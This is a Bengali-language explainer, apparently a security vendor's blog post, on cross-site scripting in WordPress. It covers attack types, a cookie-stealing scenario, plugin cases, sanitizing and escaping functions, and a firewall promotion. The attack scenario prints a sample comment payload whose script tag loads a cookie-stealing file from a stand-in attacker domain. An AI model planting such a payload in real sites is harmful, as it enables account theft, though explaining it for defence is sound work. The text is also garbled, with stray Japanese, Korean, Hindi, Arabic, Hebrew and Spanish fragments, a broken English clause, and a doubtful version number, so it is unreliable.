ক্রস-সাইট স্ক্রিপ্টিং, সংক্ষেপে XSS, ওয়েব অ্যাপ্লিকেশনে পাওয়া একটি সিকিউরিটি দুর্বলতা। ওয়ার্ডপ্রেস XSS এক্সপ্লয়িট আক্রমণকারীদের একটি বিশ্বস্ত エンটিটির ভেসে ম্যালিশিয়াস কন্টেন্ট ইনজেক্ট করতে দেয়। আরও, একটি XSS দুর্বলতা ব্যবহারকারী-ওয়েবসাইট ইন্টারঅ্যাকশন কোম্প্রোমাইজ করে। এটি আক্রমণকারীদের বৈধ ব্যবহারকারীর ভেসে ম্যালিশিয়াস কন্টেন্ট আপলোড করতে, ব্যবহারকারীর ক্রেডেনশিয়াল ও ইনফরমেশন চুরি করতে, আপনার ওয়েবসাইট ডিফেস করতে এবং আপনার ব্র্যান্ডকে কালো করতে দেয়। ওয়ার্ডপ্রেস XSS এক্সপ্লয়یت সাম্প্রতিক খবরে এসেছিল যখন একটি সফ্টওয়্যার অ্যানালাইসিসে বিশেষज्ञ কোম্পানি ওয়ার্ডপ্রেস v5.11 এবং তার নিচের ভার্সনে পাওয়া ক্রস-সাইট স্ক্রিপ্টিং দুর্বলতার ডিটেইলস রিলিজ করেছিল।

ওয়ার্ডপ্রেস XSS আক্রমণের লক্ষণ

XSS দুর্বলতা সবচেয়ে সাধারণভাবে পর্যবেক্ষিত দুর্বলতাগুলোর একটি, যেতবু সেগুলো সবচেয়ে বেশি উপেক্ষিত। XSS হলো একটি সাইবার ফ্ল which allows users (or hackers posing as users) to inject malicious code into a page allowing arbitrary input. XSS এক্সপ্লয়িটগুলো স্টোয়ার্ড এবং রিফ্লেক্টেড হিসেবে ক্লাসিফাইড।

1. স্টোয়ার্ড ক্রস-সাইট স্ক্রিপ্টিং মানে হ্যাকার একটি দুর্বল পেজে একটি ম্যালিশিয়াস স্ক্রিপ্ট ইনজেক্ট করেছে, যা প্রতিবার একটি অনাকাঙ্ক্ষিত ভিক্টিম সংক্রমিত পেজ ভিজিট করলে রান করে।
2. রিফ্লেক্টেড ক্রস-সাইট স্ক্রিপ্টিং হলো যখন একটি আক্রমণকারী একটি সিঙ্গল HTTP রিকোয়েস্টের ভিতরে ম্যালিশিয়াস কোড ইনজেক্ট করে এবং ইনজেক্ট করা পেলোড কোনো সিকিউরিটি মেজার ছাড়া রেসপন্সে ইনক্লুড হয়ে যায়। রিফ্লেক্টেড XSS কীভাবে আলাদা সেটি হলো ইনজেক্ট করা পেলোড 웹 অ্যাপ্লিকেশনে কোথাও স্টোর করা থাকে না।

এখানে XSS আক্রমণ কীভাবে llevado হয়:

1. হ্যাকার (H) আপনার ওয়েবসাইটে একটি অ্যাকাউন্ট তৈরি করে।
2. H লক্ষ্য করে যে আপনার ওয়েবসাইটে একটি স্টোয়ার্ড XSS দুর্বলতা আছে। কেউ যদি HTML ট্যাগসহ একটি কমেন্ট পোস্ট করে, তবে ট্যাগগুলো যেন আছে তেনা ডিসপ্লে হবে, এবং যেকোনো স্ক্রিপ্ট ট্যাগ রান করবে।
3. একটি আর্টিকেলের কমেন্ট সেকশনে, H একটি স্ক্রিপ্ট ট্যাগসহ টেক্সট ইনসার্ট করে যেমন: I am in love with your website <script src="https://mallorysevilsite.com/authstealer.js">
4. যখন একজন ব্যবহারকারী (U) কমেন্টসহ পেজটি লোড করে, স্ক্রিপ্ট ট্যাগ রান করে এবং U-এর অথরাইজেশন কুকি চুরি করে
5. চুরি করা কুকি H-এর গোপন সার্ভারে পাঠানো হয় যা তাকে অনাকাঙ্ক্ষিত ব্যবহারকারী U-র ভেসে ইম্পারসোনেট করতে সক্ষম করে।

ওয়ার্ডপ্রেস XSS আক্রমণের ফলাফল

XSS এক্সপ্লয়িট আপনাকে আপনার ওয়েবসাইট থেকে লক আউট করতে পারে। এটি আপনাকে ইম্পারসোনেট করতে এবং আপনার ব্র্যান্ডের ইমেজ কালো করতে ব্যবহার করা যেতে পারে। হ্যাকাররা XSS দুর্বলতা শোষণ করে যা যা করতে পারে তার একটি অনন্ত তালিকা আছে। এখানে 그중 কিছু দেওয়া হলো।

চুরি করা কুকি

কুকি থেফ্ট XSS দুর্বলতার একটি সাধারণ এক্সপ্লয়িট। কুকি হলো ছোট ফাইল যা ব্যবহারকারী এবং ওয়েবসাইটের জন্য নির্দিষ্ট ডেটা ধারণ করে। হ্যাকাররা চুরি করা কুকি ব্যবহার করে একটি বৈধ ব্যবহারকারীর ভেসে ইম্পারসোনেট করতে পারে এবং অ্যাক্সেস ব্যবহার করতে পারে ম্যালিশিয়াস উদ্দেশ্যে।

কমপ্রোমাইজড পাসওয়ার্ড

পাসওয়ার্ড ম্যানেজার ব্যবহারকারীদের বিভিন্ন ওয়েবসাইটের অ্যাকাউন্ট ম্যানেজ করতে সুবিধা দেয়। পাসওয়ার্ড ম্যানেজার ব্যবহারকারীদের জন্য পাসওয়ার্ড অটো-ফিল করে। হ্যাকাররা দুর্বলতা ব্যবহার করে একটি পাসওয়ার্ড ইনপুট তৈরি করতে পারে। যখন পাসওয়ার্ড ম্যানেজার পাসওয়ার্ড অটো ফিল করে, হ্যাকার পাসওয়ার্ডটি পড়ে তার নিজের ডোমেনে পাঠায়। এখন, হ্যাকার একটি বৈধ ব্যবহারকারীর ভেসে পোজ করতে পারে এবং আপনার ওয়েবসাইটে ইনফরমেশনে অ্যাক্সেস পেতে পারে।

পোর্ট স্ক্যান

XSS একটি ভালনারেবল ওয়েবসাইট ভিজিট করার কারো লোকাল নেটওয়ার্কে পোর্ট স্ক্যান চালানোর জন্যও এক্সপ্লয়িট করা যেতে পারে। যদি নেটওয়ার্কে অ্যাক্সেস পাওয়া যায়, আক্রমণকারী নেটওয়ার্কের অন্যান্য ডিভাইসে হ্যাক করতে পারে। এই ধরনের আক্রমণ এক্সিকিউট করতে আক্রমণকারী ইন্টারন্যাল নেটওয়ার্ক স্ক্যান করে এবং আক্রমণকারীর কাছে রিপোর্ট করে এমন কোড ইনজেক্ট করে।

ক্রস-সাইট রিকোয়েস্ট ফোরজারি

ক্রস-সাইট রিকোয়েস্ট ফোরজারি (CSRF) আক্রমণকারীদের ক্ষমতা দেয় এন্ড ইউজারদের অনিচ্ছাকৃত টাস্ক এক্সিকিউট করতে বাধ্য করার। ওয়েবসাইটের টাইপের উপর নির্ভর করে আক্রমণকারী একটি কানেকশন রিকোয়েস্ট করতে পারে, মেসেজ পাঠাতে পারে, লগ-ইন ক্রেডেনশিয়াল পরিবর্তন করতে পারে, ক্রিপ্টোকারেন্সি ট্রান্সফার করতে পারে বা সোর্স কোড রিপোজিটরিতে একটি ব্যাকডোর কমিট করতে পারে।

কিলগার

জাভাস্ক্রিপ্ট কীবোর্ড ক্যাপচারিং সম্পাদনের জন্য ব্যবহার করা যেতে পারে। জাভাস্ক্রিপ্ট কোডারদের ক্ষমতা দেয় একটি দুর্বল পেজে ব্যবহারকারীর द्वारा করা কীস্ট্রোক লগ করার। কিছু কমার্শিয়াল ওয়েব সাইট কিছু কোড উপলব্ধ করিয়েছে যা ভিজিটরের মুভমেন্ট ক্লিক, মোবাইল জেসচার বা ইনপুট রূপে লগ করতে ব্যবহার করা যেতে পারে। এগুলো দুরात्मাExistences হাতে প্রলয়ংকর হতে পারে।

ওয়ার্ডপ্রেস XSS আক্রমণের উদাহরণ

XSS সবচেয়ে সাধারণ দুর্বলতা যা ম্যালিশিয়াস এক্টরদের প্রতি বছর হাজার হাজার ওয়েবসাইটে ব্যাকডোর এন্ট্রি দেয়। এছাড়া কিছু সাম্প্রতিক ওয়ার্ডপ্রেস XSS এক্সপ্লয়িটের উদাহরণ।

Slimstat প্লাগইন এক্সপ্লয়িট (মে ২০১৯)

Slimstat একটি জনপ্রিয় ওয়েব অ্যানালিটিক্স প্লাগইন যা সাম্প্রতিক স্টোয়ার্ড XSS দুর্বলতার জন্য দুর্বল পাওয়া গেল। Slimstat রিয়েল টাইমে ওয়েবসাইট অ্যানালিটিক্স ট্র্যাক করার জন্য ব্যবহৃত হয়, এটি অ্যাক্সেস লগ, রিটার্নিং কাস্টমার এবং রেজিস্টার্ড ইউজার, জাভাস্ক্রিপ্ট ইভেন্ট ইত্যাদির স্ট্যাটস মনিটর এবং রিপোর্ট করে। কল্পনা করুন হ্যাকার দুর্বলতা শোষণ করে কতটুকু ওয়েবসাইট ডেটা অ্যাক্সেস করতে পারত। দুর্বলতা ভার্সন ৪.৮ এবং তার নিচে উপস্থিত ছিল। এটি যেকোনো অনন্টিকেশনেড ভিজিটরের প্লাগইন অ্যাক্সেস লগ ফাংশনালিটিতে আর্বিট্রারি জাভাস্ক্রিপ্ট কোড ইনজেক্ট করার অনুমতি দিত। যেসব ওয়েবসাইট লেটেস্ট ওয়ার্ডপ্রেস ভার্সন ব্যবহার করছিল এবং আস্ট্রা WAF-এর প্রোটেকশনে ছিল, সেগুলো আক্রমণকারীদের থেকে সুরক্ষিত ছিল। আরো পড়ুন এখানে: জনপ্রিয় প্লাগইন Slimstat, XSS-এর জন্য দুর্বল

ফেসবুক মেসেঞ্জার লাইভ চ্যাট

Zotabox-এর ফেসবুক মেসেঞ্জার লাইভ চ্যাটে একটি পারসিস্টেন্ট XSS দুর্বলতা আবিষ্কৃত হয়েছে। ওয়ার্ডপ্রেসের মাধ্যমে, AJAX ফাংশনালিটি সקרিপ্টে ডেটা পাঠাতে এবং গ্রহণ করতে সহজ করে দেয় পেজ রিলোড ছাড়া। update_zb_fbc_code ফাংশনটি কারোও অ্যাক্সেসযোগ্য। wp_ajax_update_zb_fbc_code ফাংশনটি অনুমোদিত ব্যবহারকারীদের জন্য নির্ধারিত & wp_ajax_nopriv_update_zb_fbc_code নন-প্রivilেজড ব্যবহারকারীদের জন্য। উভয় একই ফাংশন "update_zb_fbc_code" ব্যবহার করে। এটি যেকোনো ব্যবহারকারীকে (লগইন করা বা না করা) প্লাগইন সেটিংস মডিফাই করার অনুমতি দেয়। ম্যালিশিয়াস এক্টররা এই দুর্বলতা ব্যবহার করে গোপন ইনফরমেশনে উচ্চ প্রায়োরিটি অ্যাক্সেস পেতে পারে। আরো পড়ুন এখানে: ফেসবুক মেসেঞ্জার লাইভ চ্যাটে ক্রিটিক্যাল XSS দুর্বলতা

ওয়ার্ডপ্রেসে XSS আক্রমণ প্রতিরোধ

সিকিউরিটি কে গ্রান্টেড নেওয়া আজকের সাইবার-লিথিক যুগে আপনাকে খুব ব্যয়বহুল পড়ে যাবে। একটি শক্তিশালী স্যানিটাইজিং এবং ভ্যালিডেটিং সিস্টেম আপনার ওয়েবসাইটকে XSS এবং CSRF ইত্যাদির এক্সপ্লয়িট থেকে রক্ষা করতে পারে। আরও জানতে পড়ুন।

ওয়ার্ডপ্রেস ফাইল আপডেট করুন

WP v5.11 এবং তার নিচের ভার্সন সংক্রান্ত দুর্বলতা সমস্যা সমাধান করার সবচেয়ে দ্রুত এবং সহজ উপায় হলো ওয়ার্ডপ্রেসকে লেটেস্ট ভার্সনে আপডেট করা।

ইনপুট যাচাই করুন

সার্ভারে পাঠানোর আগে সকল ইনপুট ডেটা পরীক্ষা এবং যাচাই করুন। শুধু যাচাইকৃত, বিশ্বস্ত ব্যবহারকারীদের থেকে ইনপুট গ্রহণ করুন। উদাহরণস্বরূপ: ব্যবহারকারীর দ্বারা ইনপুট করা ইমেইল-আইডি যাচাই করতে নিচের ফাংশন অনুসরণ করুন।

1. Filter_var PHP Function
2. Filter_var($_GET[‘email’], FILTER_VALIDATE_EMAIL)
3. is_email

ডেটা স্যানিটাইজ করুন

যেসব সাইট HTML মার্কআপ অনুমতি দেয় সেগুলোতে ব্যবহারকারীর দ্বারা ইনপুট করা ডেটা স্যানিটাইজ করা অত্যন্ত প্রস্তাবিত। আপনি নিশ্চিত করতে পারেন যে ডেটাটি আপনার ব্যবহারকারীদের বা আপনার ডাটাবেসের জন্য কোনো ক্ষতি করে না সম্ভাব্য হানিকারক মার্কআপ দিয়ে ডেটা পরিষ্কার করে। ওয়ার্ডপ্রেসের অবিশ্বস্ত ডেটা এন্ট্রি ফিল্টার আউট করার জন্য চমৎকার ফিচার আছে। এখানে WP কমান্ডের একটি তালিকা দেওয়া হলো যা আপনি আপনার ডেটা স্যানিটাইজ করতে ব্যবহার করতে পারেন।

• sanitize_email
• sanitize_file_name
• sanitize_text_field
• esc_url_raw
• sanitize_option
• sanitize_key
• sanitize_mime_type
• wp_kses
• Sanitize_meta

ডেটা এস্কেপ করুন

ডেটা এস্কেপ করা মানে ডেটা সিকিউরিটি নিশ্চিত করা ডেটা ইনপুটকে সেন্সর করে। এটি নিশ্চিত করে যে ডেটাতে কী ক্যারেক্টারগুলো ম্যালিশিয়াসভাবে মিসইন্টারপ্রেট করা হচ্ছে না। ওয়ার্ডপ্রেস যে পাঁচটি বেসিক এস্কেপিং ফাংশন প্রদান করে সেগুলো হলো:

• esc_html
• esc_url
• esc_js
• esc_attr
• esc_textarea

আউটপুটে ডেটা এনকোড করুন

যে সকল HTTP রেসপন্স ব্যবহারকারীর দ্বারা ইনপুট করা ডেটা আউটপুট করে সেগুলো সব এনকোড করুন। এটি সেটিকে এক্টিভ কন্টেন্ট হিসেবে ইন্টারপ্রেট হওয়া থেকে বাধা দেবে। এনকোডিং মাত্র প্রতিটি ক্যারেক্টারকে তার HTML এন্টিটি নামে কনভার্ট করা। আপনি Content-Type এবং X-Content-Type-Options হেডার ব্যবহার করতে পারেন ব্রাউজাররা রেসপন্সগুলো ইচ্ছামতোভাবে ইন্টারপ্রেট করছে কিনা নিশ্চিত করার জন্য।

একটি ওয়েব অ্যাপ্লিকেশন ফায়ারওয়াল ব্যবহার করুন

আপনার ওয়েবসাইটে সবসময় একটি সিকিউরিটি গার্ড থাকা সাহায্য করে। WAF বা ওয়েব অ্যাপ্লিকেশন ফায়ারওয়ালগুলো পটেনশিয়াল দুর্বলতার বিরুদ্ধে সিকিউরিটি প্রদান করে। আস্ট্রা WAF ম্যালিশিয়াস ট্রাফিক ফিল্টার করে এবং আপনার ওয়েবসাইটকে বুদ্ধিমান সুরক্ষা প্রদান করে। এটি XSS, SQLi, CSRF, ব্যাড বটস, OWASP top 10 & ১০০+ অন্যান্য সাইবার আক্রমণ ব্লক করে। আমাদের বুদ্ধিমান ফায়ারওয়াল আপনার ওয়েবসাইটে ভিজিটর প্যাটার্ন ডিটেক্ট করে & অটোমেটিক্যালি ম্যালিশিয়াস ইচ্ছা रखা হ্যাকারদের ব্লক করে।

নিয়মিত ম্যালওয়্যার স্ক্যানিং

নিয়মিত ম্যালওয়্যার স্ক্যানিং আপনাকে পুরো পূর্বে সতর্ক করে দেয়। আস্ট্রা ওয়ার্ডপ্রেস সিকিউরিটি সويت তার অন-ডিমান্ড ম্যালওয়্যার স্ক্যানার দিয়ে সম্পূর্ণ প্রোটেকশন অফার করে যা শুধু এক ক্লিকে ম্যালিশিয়াস ফাইল ফ্ল্যাগ করে। প্লাস আমাদের বুদ্ধিমান ম্যালওয়্যার স্ক্যানার প্রতিটি স্ক্যানের সাথে এভোল্যুশন করে। এখনই আস্ট্রা ডেমো পেতে এখানে ক্লিক করুন।